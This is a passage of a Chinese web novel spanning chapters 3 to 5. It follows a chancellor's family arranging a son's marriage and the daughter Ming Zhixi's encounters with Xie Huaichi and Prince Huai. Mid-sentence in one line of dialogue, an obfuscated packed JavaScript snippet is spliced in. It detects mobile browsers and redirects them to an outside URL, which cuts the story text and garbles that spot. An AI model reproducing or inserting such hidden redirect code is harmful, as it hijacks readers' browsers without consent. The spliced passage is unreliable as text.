很快门外传来一阵沉稳快速的脚步声,沈利推门而入,第一眼见到的就是巴依秋与沈烟,这两个她最疼爱的女人和女儿跪在地上,心中有些不快。 可看清座位上的二人,他便将这不快迅速按下心头,面上挂着讨好的笑道:“二位大人找沈某有何贵干?” 明衢捕捉到了他那一顺的不快,便更加气恼,声中不自觉带了威压,“沈利,我自知你我同朝为官,我虽资历比你久,却也从未亏待你,所有事我都睁一只眼闭一只眼,你捞取的那些油水...哼!我也从未向圣上弹劾过你吧?” 沈利连忙跪下,豆大的汗水由额角滑落,滴落在地,声音发颤:“是,是。” 明衢压低嗓音,不怒自威:“那不知我是如何得罪你?又或是,家中小女如何得罪你的爱妾了?竟然能做出毁人清誉之事。” 沈利不是傻子,一听便知道那对母女做了什么,重重磕了头道:“明大人,此事我会还丞相府,还您小女一个交代...还请大人与夫人高抬贵手。” 博英风听了震怒,手狠狠抓起那一页页证词,甩在沈利与那母女二人周遭,纸张在空中散开,一张张掉落在地。 “你当我是好糊弄的?我家主君可以看在同朝为官的面子上放你一马,可我不会!我是一个刻薄的人,不是一位慈母,更不是一尊慈悲心肠的菩萨!” 整个堂厅充斥着博英风的回声,广琼音见其震怒连忙开口:“来人,将沈烟杖责三十,巴依秋禁足于秦露院,无令不得出,拖下去!此事我们会出面解释,就说沈烟鬼迷心窍,心智有些不正常了,这才胡乱攀咬,您看?” 博英风见这府上还有聪明人倒也消了些许气,而沈利也不好说什么,忍着心中疼痛站起身,向博英风行了一礼。 明衢施威道:“我看贵夫人还是明事理的,以后内宅的事情沈大人可莫要插手才是,毕竟我也不是很确定,我是否会在殿前失言,这一不小心说漏了嘴啊...某些人就要名扬万里了。” 沈利颤颤巍巍走向主位,坐下喝了一口早已凉透的茶水开口:“是,明大人谬赞了,这后宅的事情定是由主母管理才是。” 博英风听罢,并未出声甩手离去,可明衢出声打断:“夫人,留步,此番前来还有一事,如今多事之秋,朝廷初定,圣上需要文臣,勋贵,言官,三方同心协力,凝聚朝堂,杜绝内斗。” 明衢故作惋惜:“唉,可是我也不能委屈了我家晋儿,沈利,你与我在一众监察御史中关系最为要好,我也知道你一向宠溺沈烟,我本想给她一次机会,可她竟然做出如此不知廉耻之事,故而我只能求亲沈雪晴。” 博英风站在门口,身形一顿:“你确定这是圣上的意思?” 只见明衢点头,博英风一步一步往回走,脚步似乎格外沉重,她坐回椅子上,低着头,盘着佛珠一言不发,可动作飞快,佛珠发出‘咔吱咔吱’的声响。 明衢从怀中拿出白纸浅格的草贴放在桌上,“令女的温婉端庄,闺德昭然,我儿品性端良,以诚心求取令女。” 端坐在主位上的两人有些发愣,广琼音咬紧牙关,正想开口,只见沈利率先开口道:“明大人,雪晴实在顽劣...其实烟儿那孩子今日只是受了挑唆,一时愚钝才干出这等蠢事。” 明衢没有想对方如此不要脸,眉头皱紧了些。 博英风抬起头,眼神紧紧锁定沈利:“不是我家晋儿高攀你家,我瞧着雪晴那孩子灵动机智,倒也不像你说的这般,而沈烟心肠歹毒,我们丞相府可承受不起这尊大佛,既是圣上的暗示,我们自然可以不管,揣着明白装糊涂。” 门外响起一阵敲门声,众人望向门外,只见门被缓缓推开,沈利看清来人暗暗松了口气。 可是只见那人噗通一声跪下:“父亲母亲,女儿愿意嫁。” 沈利一听拍案而起,指着沈雪晴,口中大喊着,唾沫星子一阵乱飞:“父母之命媒妁之言,你一个姑娘家家的成天操心自己的婚事作甚!” 他说着便转身朝着明衢行了官礼,“明大人不计较沈烟之事,沈某心怀感激,可雪晴顽劣不堪,实在不宜嫁啊!” 博英风挑了挑眉,语气有些刻薄,看向坐在主位上插不进话的广琼音:“罢了,既然沈大人不愿做这门亲事,我们也强求不得,广夫人你认为呢?” 不待广琼音开口,门口又传来一阵急促的脚步声。 沈利汗颜心中想着:还真是多事之秋啊,今日怎么都来我府中开庙会呢。 而明衢看清来人眉宇舒展开,面上也带上了慈祥的笑颜:“晋哥儿怎么来了?为父...还有事情要与沈大人商议呢,要不你回去再照顾照顾你阿妹?” 明子晋不应,如一块榆树木头般直直跪下,嗓音醇厚:“父亲,母亲,孩儿其实...心悦雪晴已久,只是怕您责怪,这才迟迟未曾开口,沈雪晴善良温柔,得体大方,我有这样一位正妻,也可谓是心中无憾。” “呃,哈哈,我们正在商量此事呢,子晋啊,先起来,还有雪晴,都先起来吧,不要动不动就下跪。”沈利尴尬的笑着。 见一个个言辞恳切,也确实是找不出理由婉拒了,只得缓慢开口:“我一会儿命人将草贴送去丞相府,若八字合适,便交换定贴吧。” 沈雪晴听了沈利的话,发自内心的笑着看向明子晋,明子晋也转头看向她,对视上那天真灿烂的笑颜,只觉得今日阴沉的天被阳光打破,一束阳光照在身上暖洋洋的,脸上不自觉泛起了红晕,低着头站起来去扶沈雪晴。 沈雪晴看向沈利,她好久没有发自内心的与父亲说话了:“多谢父亲成全!” 明衢依旧和蔼的笑着,“好!好!两对佳偶天成啊!哈哈哈哈!”博英风有些发愣,可看向眼前的场景,脸上还是带了笑,一个看着如黄连般的苦笑。 想当年,她与明衢的婚事,博太傅就不同意,当时明衢还只是个从五品,没有家世背景,博太傅怕自己女儿受委屈,三番五次婉拒。 可博英风被明衢这永不屈服的精神打败,想着这男人也不是不能托付,很快两人便成亲了。 明衢有博太傅的帮助事业蒸蒸日上,日子也越过越好,从那三五地的破宅子搬至先帝御赐的宅子里,本以为日子能这样平淡的过下去,可先帝驾鹤西去,当今圣上为了朝堂安宁,将和音仪赐婚与明衢,两人本就年少相识,成亲之后两人几乎形影不离。 她知道和音仪并未干出出格之事,从未挑衅过她,也从未使绊子针对她,可是博英风不甘,她觉得不公平,可是多年情谊终究是比不上少年情谊,青梅竹马,她不知道自己算什么,不知道明衢到底是否真心的爱过她,是否是为了如今这个位置,才娶了她,她不敢问,也不敢去想。 本想和离,可她也知道自己腹中有了孩子,她放下了,可真的放下了吗?她不知道,自己对孩子愈发严厉,她不想要这样,可看着和音仪怀孕,看着自己的孩子长大,明衢好像根本不在意般,只紧着妾室,她想让孩子变得优秀。 她想要让明衢在意她,哪怕只有一次,对孩子也愈发苛刻......错了,都错了!她想做慈母啊... 博英风从脑海里剥离出,径直朝外走去,连一个眼神都没分给明衢。 众人看着她离去,明衢收起了笑颜:“回去吧晋儿,成亲后再戚戚我我,还有,不要亏待了她。” 明子晋行了礼,伴着父亲朝外走去,两人一前一后,而明子晋一步三回头,两人一同上了马车。 马车上明衢思绪万千,他的脑中重复播放着方才,博英风默然离去的背影,自己真的苛待了她吗。 明衢这样想着,脑中闪过她刚刚出门时,那落寞的神情,沉沉的叹了口气,注意到父亲兴致不高的明子晋向明衢斟了杯茶:“怎么了父亲?是牙疼了?” 明衢扶着头喝着茶,马车晃动,阳光一次次照进来,又一次次消失,明衢摇了摇头道:“无事,只是一转眼你便要成家了,难免心中感慨。” 明子晋十分开朗的笑着,打趣着说:“是啊,再想一想枝溪和映儿都快要成亲了,到时府里头便只有我这一个孩儿,能陪着父亲喽!” “你净跟我说笑,跟你阿妹真是一个德行。”明衢被这番话打动,扫去阴霾,拿袖子拍了明子晋一把,“话说,你怎么会来沈府?” “呃...我...我本想为枝溪打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567700|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱不平的,可见你们在讨论我的婚事,所以我干脆一不做二不休。”明子晋有些紧张,因为事实并不是这样。 两个时辰前——————— 明枝溪被四人的喊问震的有点发虚,小声的道:“我说我去算命,那算命的说,只要我挨顿打,我哥便能和他的心上人成婚,你们信吗?” 明子晋站在床边,双手怀抱胸前,有些不可置信的问:“真的啊?” 这回换成另外四人望着他了,他注意到视线,打岔道:“开玩笑,开玩笑,你们不要这样看着我,怪渗人的。” 和音仪给自己倒了一杯茶,喝了一口问道:“所以究竟是什么事情,老实交代!撒谎不是好孩子!” 明映给自己搬了一张圆凳,挨着和音仪坐下,双目闪闪发亮:“你快说嘛!” “我本来就不是好孩子嘛...”明枝溪小声道。 和音仪听了用衣袖轻轻抽了她一下,她顿时倒吸一口凉气开口:“哎呀,就是我知道,如今朝廷初定,父亲虽是丞相,可终究是有很多文官看父亲不爽,觉得这个位置不该是父亲坐的,经常背地里呈上奏折高黑状。” “可圣上需要的是他们和平共处,而不是时不时就参一本,那么,负责弹劾的只有御史台,可是如果真的让丞相府与御使大夫又或者,御史中丞联姻,反而会起到反作用。” “比如说父亲与他们暗自勾结,结党营私,都是有可能的,那就只能找一个职位不高不低的,比如监察御史,官职虽说从七品,低了些,可不会被同僚猜忌。” “那监察御史现如今只有三位,父亲与另外两位不和已久,他们自然不可能将女儿嫁过来吧,毕竟圣上又没有下谕旨,不关自己,高高挂起喽。” “所以便就一个人选了,沈家,父亲可能还在考虑怎么开口,可我的事情东窗事发,他们没有颜面,也会因为这个事情不敢拒绝父亲...” “就算敢也没事,我哥现在赶过去表达心意就好了,都是同僚不会不给面子的,都一群人在他府上了,怕是早就汗流浃背了。” 四人一言不发,安静的看着她。 察觉到视线,她声音更低了些:“怎么?我说的哪里不对吗...” 等了许久不见四人开口:“好吧,我说实话,我打听过谢槐池,他在月中一定会跟随家中长辈去清真寺,毕竟谢将军还在征战,家里人总要求平安,所以我才趁机去蹲守,然后再散播给沈烟。” “沈烟肯定会自己气自己,然后跟她那蠢笨如驴的娘做出傻事,毕竟她们头脑简单四肢发达。” 和音仪目瞪口呆,一口一口的喝茶,听到这连忙打断:“这是你干的,这不是一个大家闺秀干出来的事情!枝溪你越来越胡闹了,事关朝廷,你可不要再去揣摩圣上的心思了,这事情就我们五个人知道,也莫往外说,知道吗!” “哎呀,姨娘,我知道呀,我又不蠢,只是看到我哥喜欢雪晴,雪晴也喜欢我哥,两人都藏藏掖掖的,好没意思,这才想着帮一把,我保证以后不会了!我发誓!” 明映嘴巴微张,不可置信。 而明子晋听了后,疑问道:“我的心意有这么明显吗?” “有啊!”明枝溪与明映一同说。 明枝溪转过头,不再看他们,嘴里说着:“哥啊,快去沈府吧,万一那沈利真是个愣头青,你就没戏了,我也白打了,还有姨娘和映映你们也先回去吧,我要睡一会儿,反正我一时半会儿也爬不起来了。” 听罢,明子晋已经飞奔出去了,一转眼就连一点背影都看不到,而和音仪与明映两人嘱咐了好几番这才退出院子。 “青禾,我好渴...”明枝溪话音刚落,青禾便端着一杯温润的茶递给她,明枝溪抬起颤抖的手接过茶杯,轻轻抬头喝了一口,便还给青禾,青禾接过杯子,拿着用过的杯具道:“姑娘好好休息吧,我收拾一下屋子。” 明枝溪意识模糊“嗯”了一声便缓缓睡去。 —————— 马车上,明衢点点头,并未开口,明子晋擦了擦不存在的冷汗,掀开布帘望向窗外。 午时,雪竹院内,明枝溪被一阵饭菜香诱惑醒,只见青禾拿了张矮桌放在床边,上面放满各色菜肴,见明枝溪醒了开口道:“姑娘,我喂你吃饭吧。” “好。”明枝溪一口一口吃着,“对了,那个药...” 青禾心领神会,点点头道:“谢公子已经遣人送来了,我一会儿帮你涂上,对了她还拿了一封信,我看不懂,吃完了我拿来给你。” 明枝溪似乎是觉得这样吃的太变扭了,没吃几口便没了胃口,青禾满脸担忧,劝说着让明枝溪多吃几口,可明枝溪一再拒绝,这才作罢。 青禾起身将信取来,递给明枝溪后开始整理饭桌,她将吃剩的菜放在食盒里,带了出去。 见青禾走了,明枝溪这才打开信,只见上面写着: 下次算计人,聪明点儿,明眼人都能看出来,还有,这药一天各两次,不谢。 明枝溪顿时把纸张折成一团用力往远处一丢,面色通红:看我下次怎么搞你!爱显摆是吧!哎呀,烦死了!烦死了! 青禾回房后看见的便是,一张苦瓜脸的小狐狸在发脾气...以及丢在地上的一团纸,她走上前将纸捡起来,问道:“谢公子说了什么,让姑娘你如此生气。” “没什么,我没生气,先帮我抹药吧。”明枝溪装作冷静回道,随即从发髻上拿下一个金黄的梅花簪,往嘴中一放,一吹。 一阵如鸟鸣般的声响回荡在耳边,一只毛发雪白的鹰停在了窗子边。 4. 第4章 淮王殿下 只见那只鹰站在窗沿边上,明枝溪心头一惊,连忙让青禾将它抱进来,让它站在鸟架子上,那只鹰也不动弹,就静静的站着,眼珠子提溜转。 “小白,你也真是的,胆大包天!站在那要是给发现了,你不得被剥皮抽筋炖煮了吃!”明枝溪对着小白说,心中想着,奇怪了,通常是直接飞进来的,怎么今日停在窗沿不动弹了,莫非是... “青禾,你出去看看,我总觉得哪里好像不对劲。”明枝溪刚上完药,趴在床上,背上传来丝丝凉意。 青禾虽然有些迟疑,但还是乖乖的开门出去,左看看右看看,还真让她发现了哪里不对,她小跑回来,关上门,双目圆瞪,语气中带着一些惊喜:“外头的探子都消失了!没人盯着咱们!” “哈?”明枝溪一个头两个大,“怎么?我哥要成家了就不盯着我了?难道是盯着...这还没过门呢!” 青禾发愣,眼神关爱的看着明枝溪:“姑娘?你怎么了?是不好吗?以前不管做什么都有人盯着咱们,现下反而清闲些。” 明枝溪用手指点着床头边,明子晋昨日送的书,突然灵光一现:“诶!你去把我哥喊来,对了,让我哥也留意一下四周,看看有没有人跟着,我有点不信我娘会转性,不盯着我那就是盯着我哥,再不是就是盯着姨娘和明映,总有一个是要盯着的。” 青禾歪头,眉头不知不觉皱在了一起,好似在看府外头看门的大黄狗:“姑娘,我觉得吧...可能大娘子是真的转性子了。” 明枝溪咂舌,装作有些不耐烦的说:“让你去就去,我这是防人之心不可无。” 青禾点点头,一溜烟就跑了出去。 不一会儿门外传来一声声又轻又浅的脚步声,青禾猛的一下推开门,后边跟着一脸茫然的明子晋。 明子晋走了进来,眨巴眨巴眼,刚想开口,青禾就着急兴奋的道:“姑娘,真的没有!” 兄妹两相顾茫然,明子晋找了个圆凳坐下,手中拿扇子在胸脯上一阵拍,扇的发丝乱飞,忽然一顿:“青禾,你去将明映喊来,嘿~我还真不信了。” 青禾本站着喘着粗气,一听顿时觉得天塌了,无奈出门去找明映,连门都没有关,站在外头的婢女看着青禾一进一出,胆子大些的正在往屋内打量。 两个院子离得很近,就几步路的事情,明映慢吞吞的跟在青禾后面,手中拿着一些衣样子,还在仔细的观摩。 青禾踏进屋子里并味开口,只是摇摇头,两兄妹顿时大笑起来,活脱脱两个疯子! 明映被他俩的举动弄得摸不着头脑,尴尬的笑着 明枝溪听明映在笑忍不住打断:“映映你笑什么?” 明子晋随即反应过来,抽出桌下的圆凳,拍拍圆凳让她坐过来。 明映点点头,如同受惊的猫一样小心翼翼的坐下:“我看你们都在笑,我就跟着笑了,不然...好像不太合群。” “诶,你知道吗!我们发现了一件大事!我娘好像不盯着我们了!通常我们在干什么,一举一动她都知道!嘿!现在不盯着了,等我伤好了就可以为所欲为了!”明枝溪唇角抑制不住的上扬,心头上一阵狂喜,险些跌落下床。 “等下,你的意思是,大娘子也盯过我?”明映眸光猛地一滞,脸上的笑容瞬间僵住。 明子晋笑的越发猖狂,不停的用手顺气想停下来:“你..哈哈..一直不知道啊?” 明映没好气的给了明子晋一掌:“我要是知道还做出这副摸样给谁看。” “你真的不知啊?”明枝溪脸上就差写上‘不敢信’三个字,“我以为我够惨了,没想到还有一个更惨的,被盯了这么多年竟然毫无察觉。” 明子晋已经笑的喘不上气了,一直试图平复心情,嘴里念叨着:“冷静,冷静。” “我是真不知道啊,我娘也没跟我说过啊,我说她怎么天天在屋里做绣活呢!”明映嘟着嘴,一脸‘委屈’。 明子晋稍微缓过来点,才开口道:“没事,反正现在没人盯着了,你知道不知道都一样。”他说完好像是想到什么,“你们说,会不会就今天不盯着,明天又盯着。” “没道理呀,那今天不盯着是为什么?她的探子也会休沐吗?从未发生过啊。”明枝溪枕在自己的双臂上,说话时摇头晃脑的。 “嗯...我觉得有些事情,以后就知道了,不必拘泥一时。”明映双手怀抱放在胸前,一脸得意样。 “也是,好了你们走吧,我要休息了!” “你找我们来就为了这个?”明子晋诧异。 “嗯,不然我还要留你们在院子里喝茶吗?我是伤者诶。”明枝溪正在头脑风暴,她实在想不出为什么母亲不盯着了。 明映将衣样子放在桌上,站起身道:“阿姐,我带了几个衣样子,给你放在桌上了,你挑一挑,我到时候让人一起做了。” “好。” 俩人离去,明枝溪思考了很久最后抱着‘就当我娘转性子了吧’结束了这个思考话题。 —————— 日头越发晒人,时间一晃而过,这几天明枝溪都安静的趴在床上,无聊了就看点书,时不时观察一下到底有没有人盯着自己,经过十天的沉淀,确认了‘母亲好像真的转性了’。 明枝溪背上深褐色的痂掉的差不多了,已经掉完的地方,还真是一点疤痕都留不下来,肌肤似乎还白嫩了些。 明枝溪在院子里放了把躺椅,矮桌上放着冰酪,她是一个很怕热的人,屋子里,日头上来了就闷得人透不过气。 从前有人盯梢,现如今没有人盯着,明枝溪索性就把躺椅搬出来,吹着风,吃着酪,日子好不惬意。 “小玉,你去找我哥,就说等会在门口等我会儿,我知道他今日要去找谢槐池,我正好跟去致谢。”明枝溪吃着冰酪,摇椅一晃一晃的。 小玉行礼后走了出去,明枝溪三两下就吃完了一大碗冰酪,本想着再来一碗,可青禾在一旁,一副‘你再吃我就要生气了’的模样,也就只好作罢。 明枝溪一把站起来,“青禾你晚些再去拿点钱,到街上寻我,我在望风楼等你。” 青禾点点头,明枝溪拍了拍她的肩膀,往外走去。 路上都是一些在往地上洒水的婢女和小厮,见到明枝溪便微微欠身。 大门口,明子晋高大挺直的背影立在那,看起来等了有些时候。 “婚期定了吗?”明枝溪偷摸上去,笑着用手肘杵了一把明子晋,“我等着吃喜酒呢。” 明子晋被吓的心头一惊,缓和过来,爽朗的笑着,似乎比以往更加意气风发:“定了,下月初六,清真寺里的大师说那日是黄道吉日。” 两人一前一后走上马车,马车左右晃动,“感谢我吧,不然你就要娶沈烟那个泼妇了。”明枝溪掏出一把圆扇,扇着风,马车里是真的闷热,不一会儿就闷出一颗颗细小的汗珠。 “一家人说什么谢不谢的。”明子晋也拿着折扇扇风,讨价还价道。 “那不行,你欠我一个人情。”明枝溪听了瞬间不干了,一个眼神瞪了过去,高傲的说,“这样吧,一会儿致谢完,我出去玩一会儿,你多在开国侯府待一会儿,等我一起回去。” 明子晋并未直接答应,似是思索一番,才开口道:“行,那你不要到处乱跑,莫要让人拐走,不然我回家交代不起。” “成交!” —————— 马车渐渐停下,想来是已经到了开国侯府大门,两人走下马车,向里走去,门口的小厮认识明子晋并未阻拦,反而是拦住了明枝溪,“站住,你是什么人?” 明枝溪眼皮一跳,嘴角抽了下:“呃,我都跟明子晋一起来了还能是谁!” “哦哦,是夫人啊。” 由于明子晋即将成婚的事情,大家子弟都已知晓,所以这名小厮下意识认为明枝溪是他的夫人。 “笨啊!”明枝溪听了满脸赤红,额角青筋狂跳,“还夫人,没听过成亲前双方不能见面啊,我如果是夫人,还跟他大摇大摆的走!成何体统,你要这么说的话,那我还是你们家谢公子的夫人呢我!” 远处一名青红色的身影向此处走来:“可以啊,我是不介意。”谢槐池站在门内,靠着门框,“就是不知你家同不同意了。” “方才与小厮说笑呢,谢公子莫要见怪,此次上门只是道谢,多谢谢公子当时出手相救,还有药也多谢。”明枝溪恭恭敬敬的行了个万福,“既然道过谢了,那我就不打扰二位了。” 明枝溪转头便想跑,只听见对方说了一句很欠扁的话:“你跟我还装什么?” 明枝溪紧握拳头,转身脸上挂着‘你去死’的笑容回:“听不懂呢,小女告辞。” “进来坐会儿从侧门走,你就这样大摇大摆的出去玩,想不被发现都难。”谢槐池再次出声,说罢,转头对着明子晋道:“明兄,走吧。” 双鱼玉佩发出清脆的碰撞声,明枝溪听了一阵烦闷,跟着向里走去。 只见谢槐池扎个大高马尾,走起来时一晃一晃的,她心中想着:你以为是我想走啊,说坏话被发现,我要是进去了指不定被你怎么整呢,真想拽着你的头发,让你跪下来好好讲话! 一路上都是忙碌的下人,没有遇到什么特殊的人,很快就到了堂厅,只见主位上坐着一位七旬老妇人,面上带笑,看着十分慈爱。 明枝溪很快便反应过来这位是王老太太,连忙行了个万福。 “哈哈哈,都是好孩子,快坐下吧,不用跟我多礼,就当自己家一样。”王老太太的声音很低沉,可是听得人心中暖意更胜。 三人答了是,随即找了空位坐下。 “今早池儿跟我说会有姑娘来,自己接待恐是不妥,索性我就过来了,应该不打扰你们吧。”王老太太挥手,三名婢女上来斟茶,又退了下去。 “王老太太,我要说的都与谢公子说过了,来叨扰一趟当真是不好意思。”明枝溪见另外两人没说话,自己开口道。 “丫头,你叫什么名?”主位上的王老太太拿起茶杯喝了口道。 明枝溪有些拘谨,站起身毕恭毕敬的回复:“小女姓明,名枝溪。” 王老太太思索着,突然爽朗大笑:“你的名字是不是当时城门外一个算命疯子取的?” 明枝溪微微一愣,思虑一番后,站起来:“是,小女幼时常常听父亲提起,当时母亲尚在孕中,可每日百般不是,某日想吃城门口的油饼子,父亲便去买了。” “当时那位先生站在城门外,见到我父亲便不管不顾冲了进来,说我命薄,七月半出生,命中缺木缺水,让父亲提前想好名字,不然怕是生不下来。” “说来也怪,父亲说当时莫名觉得对方可信,回府后,便取了这样一个名字,母亲倒也真是好起来了,胃口也变好了,腰都不疼了,而后父亲再去寻找那名先生,却怎么也找不到了。”明枝溪双手叠放在小腹前,站姿笔直。 “坐下,快坐下,这可真是天定的缘分呐...哈哈...我这老骨头也不打扰你们这些小辈闲聊了,回屋喽!”王老太太也不解释为何这般问,只是杵着拐杖,身旁一名老妈子搀扶着,颤颤巍巍的回了屋。 “是,老太太慢走。”三人一同答道。 明枝溪见对方要走,也并未开口询问,想说时自然会说,何必强求。 王老太太走后,堂屋一片寂 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“好。”谢槐池站起,望向明枝溪,目光暗沉,“明姑娘,你我都是聪明人,下次来我府上倒也不用如此拘束,我知道你本是什么样。” 明枝溪本身也就想溜,听到对方这样说,顿时气不打一处来,收起团扇,双手环抱:“谢公子真是说笑了,小女在家中便是如此,若是不信可以问我哥。” 明子晋顿时感觉一头两大,他走上前手中塞给明枝溪一个样式精美的钱袋:“你快出去玩吧,再耽搁都不用出去了,跟我回府得了。”他说着便转身推着谢槐池,“走,走,看书去。” 三人终于是散去,明枝溪也不想去计较,现在的心思全放在外头了。 侧门,一名小厮站在那,头低垂着,隐隐还能听见呼噜声,明枝溪脚步放轻,就快要出门时她脚步一顿,望向后方,嘴角上扬,收回视线一蹦一跳的往外走去。 那名小厮悄咪咪睁开一只眼,看明枝溪是否已经出去了,见人走了便睁开另一只眼,走向边上的树林。 里头站着两名小厮,正在交谈,看清来人,其中偏矮小的一名笑着开口:“诶呦,你不会喜欢她吧,啧啧,食色无味呐。” 另一名小厮紧跟着开口,面色复杂:“是啊刘哥,你...喜欢长的像观音的...?” 刘闻一人给了一巴掌,一脸不屑:“莫要嚼舌根,小心少爷给你们舌头剁下来,这话我听了就当没听过,要是下次被我知道了,你们自己看着办。” 两人被吓的噤声,连忙摇头,随后回到门口站好。 刘闻见了他们这副模样,转身离去,背影消失在小路尽头。 —————— “诶!客官,看戏曲吗?”一位长相苍老的人站在一间名为‘望风楼’的店口,见着一人就开口询问。 明枝溪在对面的小摊买着钗子,回头看了一眼,放下钗子往望风楼走去,她站在老者面前:“诶,今日饰演什么戏曲?” “诶,客官,这几日都在演目连救母的戏码,如今可是流行,通常饰演足足七日呢。”那名老者脸上挂着讨好的笑,示意明枝溪往里走。 明枝溪往里走去,一名小二拥了上来问:“这位小姐想坐哪啊?要是想清闲些楼上还有空座,若是等人可以去楼上的雅座包房看戏呀,只是这价格嘛...稍微会比外头的贵一些。” 明枝溪思索了一番,看向前方,座无虚席:“去楼上吧,再来些小食和茶,上等的,不要以次充好。” 那名小二喊道:“得嘞!”便往边上的柜台走去,手上忙碌着,“稍后我送上去给您!” 明枝溪往楼上走去,找了个视线不被遮挡的座位,靠着包房的外墙,她坐下看着前方的戏台。 只见戏曲刚刚开场,演的是一位名叫目连的孝子,常年在外经商,家中只留下母亲刘青提,谁知刘青提性情执拗,不信神明。 平日里宰杀牲畜,肆意荤腥,轻慢僧道,不修善果,待到数命已尽,死后便堕入地狱,堕入饿鬼道受苦。 演到一半时,小二端上来一盘盐水花生与一壶龙井茶,略有些歉意道:“小姐,这好东西都被隔壁雅座包房买了,你也知道如今座无虚席,实在拿不出好东西,这样,这吃食算我们的,您给个座位钱,您看成吗?” 明枝溪有些语塞,顿时不知如何开口,只得点点头,掏出二十文放在桌上:“呃...我一会儿有个朋友要来,替她付的,叫青禾,喜欢穿淡青色衣裳,遇到了莫要拦着,多的当打赏了。” “是,多谢小姐。”那名小二一把捞过桌面上的钱,一脸笑,缓缓退了下去。 而这时一名长相英俊的男子,从楼下走了上来,与在座众人格格不入,一眼便能看见他。 明枝溪总觉得有些眼熟,好似在哪里见过,可一时想不起来,那人走的越来越近,似乎发现了她,朝着她便走了过来。 明枝溪有些惊恐,一个自己想不起来的人朝着自己走过来,怎么应付,有点慌啊! “嘿,小菩萨在这看戏呢!你莫不是偷跑出来的?”这名眼熟的男子站在明枝溪面前,虽是打招呼,却给人一种很轻佻的感觉。 明枝溪皱眉,努力在脑海中回忆着,在哪里见过他,最后还是没想起来,深吸一口气鼓足勇气开口询问:“你是?” “是我啊,赵康时,小时候宫宴,我们见过的!前不久那谁谁,呃...那个臭狐狸办的一场马球会,我们也见过的!”这名叫赵康时的男子絮絮叨叨的说着。 全然不顾明枝溪一脸惊恐的模样。 明枝溪想起来了,这位是淮王殿下!当今圣上胞弟。 5. 第5章 可能认识 “好!”一楼的众人在看到一段精彩的戏码,纷纷拍手鼓掌,大声叫好。 人的悲欢并不相通,二楼角落中的明枝溪,已经背后发凉。 明枝溪尽可能放慢呼吸:“呃,淮王殿下,小女,丞相嫡女,明枝溪,你是不是认错人了?” 只见赵康时一愣,弯下腰,近距离看向明枝溪的脸庞,两人凑的极近。 周围有些男子纷纷侧目看来,明枝溪不动声色的向后靠了靠,整个背紧紧贴在墙面上。 她退一步,赵康时便向前靠一寸,看着周遭的人都望向此处,明枝溪忍无可忍。 “淮王殿下,不知小女如何得罪你了,这大庭广众之下,行如此之事,殿下让小女日后如何自处。”明枝溪伸出手,将其往后推了推。 面前的人纹丝不动,似是思索,终于是站直身体,仰望着明枝溪,眼神中透出疑惑之色。 僵持许久,赵康时这才开口:“你...不认识我了?” 认识什么啊!明枝溪心中暗骂,这街上谁没听过你的大名!可是我还真就不认识啊,除了之前马球会上远远的被他看了一眼,好像也没别的事了吧。 想是这样想,可明枝溪面上还是保持着刚才那副模样:“久仰殿下大名,可小女也许不是殿下所说的幼时伙伴,呃幼时确是参加过一场宫宴,记得是前朝皇后的生辰宴。” 顿时她感觉头脑一阵刺痛,好像有什么鲜为人知的事情在脑海里炸开。 看见明枝溪面色一阵痛苦,赵康时有些慌神,见明枝溪身形不稳,他连忙伸手去扶,险些跌落在地的明枝溪,心中警铃大作。 甩开了刚扶上她的手,跌落在地,周遭的人听见动静,纷纷围观。 明枝溪脑海中多了些片段记忆,可是仔细去想又想不出来,一只鱼浮上水面,吐出一片气泡,又迅速潜回水底。 明枝溪撑着地板站起,浑身发颤的站起,“不好意思,我还有事。”她往楼梯口走去,侧身经过赵康时身旁。 赵康时一把拉住她,拉着她往边上的雅座包房走,眉间紧蹙,面相担忧。 明枝溪力不能及,加上方才的遭遇,她有些脱力,直直的被拉着走。 她想呼喊,可心中又想着:这样自己声明就不保了,管它呢怎么样都不保,喊了再说! 刚想张嘴,只见一道青红色的身影出现在面前,一把拉住她的另一只手。 是谢槐池,“淮王殿下好兴致,当着这么多人的面强抢民女,可惜,她已经是我的人了。” 赵康时撇头,目光如剑,他停下,转身,手紧紧握着明枝溪,暗自较劲,想将她拉过来。 两人势均力敌,谁都没拉动,“谢槐池!你是诚心与我过不去?放心,我不会对她做什么,更不是什么强求她,倒是你一口一个是你的,是你的什么?别痴心妄想了。” 见对方还是不肯松手,赵康时冷声道:“放手!” “你先放。”谢槐池还是那副漫不经心的模样,一脸挑衅。 觉得头脑清晰些的明枝溪,用力甩开两人的手,大喊道:“绿竹!人呢?你主子都快死了,还在看戏呢?” 一群身穿青灰色外袍的女子,从四周走出,那名叫绿竹的女子从头顶房梁上一把越下。 站在明枝溪身旁,手中拿着一柄长剑:“对不住,下属以为这位谢世子是我们的人。” “罢了,原谅你了,起码你一喊就出来了。” 周遭看戏的人群被驱赶,剩下的都是赵康时的暗卫。 他们纷纷拿起手中的剑,赵康时大喊:“放肆!都给我退下。” 那群人面面相觑,最终放下手中的剑,后退了几步,但还是保持在安全距离内。 谢槐池挑眉,扬起嘴角,散漫的打趣道:“一点都不诚心,你看我就没有带人。” 明枝溪闭上眼,双手握拳,后长呼一口气,睁开眼看向他:“谢世子没带人?那你是如何得知我在这望风楼的呢?你的人,在下面。” 谢槐池不语,保持的笑容,拍拍手掌。 明枝溪转头看向赵康时,表情严肃:“淮王,我不知我们发生了何事,但,我似乎有一段记忆的缺失,如果你认识我,不妨给我讲讲看?” 赵康时舒展开面容,做了一个‘请’的手势。 “绿竹,你在这看着,机灵点。”只见绿竹点点头。 明枝溪放心的走入包房,赵康时紧跟其后,刚想关上门,门却被一把扯住,谢槐池慢悠悠的走了进来,找了个位坐下。 “怎么?谢世子也好奇我与明姑娘幼时之事?”赵康时见他进来倒也没说什么难听的话,关上门坐下。 门的对面是一个突出的露台,刚好可以看到戏台,可如今没有人的心会放在戏身上了。 谢槐池耸耸肩:“没办法,我说了她是我的人。” 